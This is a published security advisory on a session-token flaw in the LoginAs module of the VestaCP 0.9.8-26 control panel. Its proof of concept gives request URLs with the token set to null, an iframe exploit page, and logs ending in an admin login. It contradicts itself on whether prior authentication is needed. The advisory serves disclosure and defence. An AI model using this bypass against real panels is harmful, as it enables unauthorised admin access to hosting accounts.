VestaCP 0.9.8-26 – ‘LoginAs’ Insufficient Session Validation
# Exploit Title: VestaCP 0.9.8-26 - 'LoginAs' Insufficient Session Validation # Date: 2020-11-26 # Exploit Author: Vulnerability-Lab # Vendor Homepage: https://vestacp.com/ # Software Link: https://vestacp.com/install/ # Version: 0.9.8-26 Document Title: =============== VestaCP v0.9.8-26 - (LoginAs) Token Session Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2240 Release Date: ============= 2020-11-26 Vulnerability Laboratory ID (VL-ID): ==================================== 2240 Common Vulnerability Scoring System: ==================================== 8.3 Vulnerability Class: ==================== Insufficient Session Validation Current Estimated Price: ======================== 2.000€ - 3.000€ Product & Service Introduction: =============================== Web interface is open source php and javascript interface based on Vesta open API, it uses 381 vesta CLI calls. The GNU General Public Licence is a free, copyleft licence for software and other kinds of works. Its free to change, modify and redistribute source code. (Copy of the Homepage: https://vestacp.com/features/ & https://vestacp.com/install/ ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a insufficient session validation vulnerability in the VestaCP v0.9.8-26 hosting web-application. Affected Product(s): ==================== Vesta Product: VestaCP v0.9.8-26 - Hosting Control Panel (Web-Application) Vulnerability Disclosure Timeline: ================================== 2020-05-04: Researcher Notification & Coordination (Security Researcher) 2020-05-05: Vendor Notification (Security Department) 2020-05-07: Vendor Response/Feedback (Security Department) 2020-**-**: Vendor Fix/Patch (Service Developer Team) 2020-**-**: Security Acknowledgements (Security Department) 2020-11-26: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== High Authentication Type: ==================== Pre Auth (No Privileges or Session) User Interaction: ================= No User Interaction Disclosure Type: ================ Full Disclosure Technical Details & Description: ================================ A session token vulnerability has been discovered in the official VestaCP (Control Panel) v0.9.8-26 hosting web-application. The vulnerability allows remote attackers to gain unauthenticated or unauthorized access by client-side token manipulation. The token vulnerability is located in the function of the `LoginAs` module. Remote attackers are able to perform LoginAs requests without session token to preview there profiles. The attack requires user account privileges for manipulation of the request. The admin panel allows to request via token the local user accounts to login as via account switch. In that moment the token of the request can be removed to perform the same interaction with user privileges. Thus allows to access other account information without administrative permissions. The permission approval on login request is insufficient regarding a misconfiguration on the token implementation (client-side). Successful exploitation of the web vulnerability results in information disclosure, user or admin account compromise and elevation of privileges by further exploitation. Request Method(s): [+] GET Vulnerable Module(s): [+] /login/ Vulnerable Parameter(s): [+] token Affected Parameter(s): [+] loginas Proof of Concept (PoC): ======================= The token web vulnerability can be exploited by remote attackers with simple user privileges without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Request: Default (Download Backup) https://vestacp.localhost:8083/login/?loginas=user&token=f230a989082eec102ad5a3bb81fd0190 https://vestacp.localhost:8083/login/?loginas=admin&token=f230a989082eec102ad5a3bb81fd0190 PoC: Exploitation https://vestacp.localhost:8083/login/?loginas=user/.admin&token=null PoC: Exploit <html> <head><body> <title>VestaCP (Control Panel) v0.9.8-26 - LoginAs User/Admin PoC</title> <iframe src="https://vestacp.localhost:8083/login/?loginas=admin&token=null"%20> </body></head> <html> --- PoC Session Logs [GET] --- https://vestacp.localhost:8083/login/?loginas=[ACCOUNTNAME]&token=null Host: vestacp.localhost:8083 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Connection: keep-alive Referer: https://vestacp.localhost:8083/list/user/ Cookie: __utma=80953744.319544562.1588324200.1588338964.1588341255.6; __utmc=80953744; __utmz=80953744.1588333371.4.4.utmcsr=demo.vestacp.com|utmccn=(referral)|utmcmd=referral|utmcct=/; _ym_uid=1588324200958108010; _ym_d=1588324200; _ym_isad=2; PHPSESSID=7u5ilka7amc64ue6htfipljha7; hide_passwords=0; __utmb=80953744.5.10.1588341255; _ym_visorc_34956065=w; __utmt=1; metrika_enabled=1; _ym_metrika_enabled=1; _ym_metrika_enabled_34956065=1 - GET: HTTP/1.1 302 Moved Temporarily Server: nginx Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=120 Location: / - https://vestacp.localhost:8083/ Host: vestacp.localhost:8083 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Referer: https://vestacp.localhost:8083/list/user/ Connection: keep-alive Cookie: __utma=80953744.319544562.1588324200.1588338964.1588341255.6; __utmc=80953744; __utmz=80953744.1588333371.4.4.utmcsr=demo.vestacp.com|utmccn=(referral)|utmcmd=referral|utmcct=/; _ym_uid=1588324200958108010; _ym_d=1588324200; _ym_isad=2; PHPSESSID=7u5ilka7amc64ue6htfipljha7; hide_passwords=0; __utmb=80953744.5.10.1588341255; _ym_visorc_34956065=w; __utmt=1; metrika_enabled=1; _ym_metrika_enabled=1; _ym_metrika_enabled_34956065=1 - GET: HTTP/1.1 302 Moved Temporarily Server: nginx Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=120 - Location: /list/user/ https://vestacp.localhost:8083/list/user/ Host: vestacp.localhost:8083 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Referer: https://vestacp.localhost:8083/list/user/ Connection: keep-alive Cookie: __utma=80953744.319544562.1588324200.1588338964.1588341255.6; __utmc=80953744; __utmz=80953744.1588333371.4.4.utmcsr=demo.vestacp.com|utmccn=(referral)|utmcmd=referral|utmcct=/; _ym_uid=1588324200958108010; _ym_d=1588324200; _ym_isad=2; PHPSESSID=7u5ilka7amc64ue6htfipljha7; hide_passwords=0; __utmb=80953744.5.10.1588341255; _ym_visorc_34956065=w; __utmt=1; metrika_enabled=1; _ym_metrika_enabled=1; _ym_metrika_enabled_34956065=1 - GET: HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=120 Content-Encoding: gzip - Welcome - Logged in as user admin Reference(s): https://vestacp.localhost:8083/ https://vestacp.localhost:8083/login/ https://vestacp.localhost:8083/login/?loginas https://vestacp.localhost:8083/list/user/ Security Risk: ============== The security risk of the remote session vulnerability in the vestacp application is estimated as high. Credits & Authors: ================== Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M. Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 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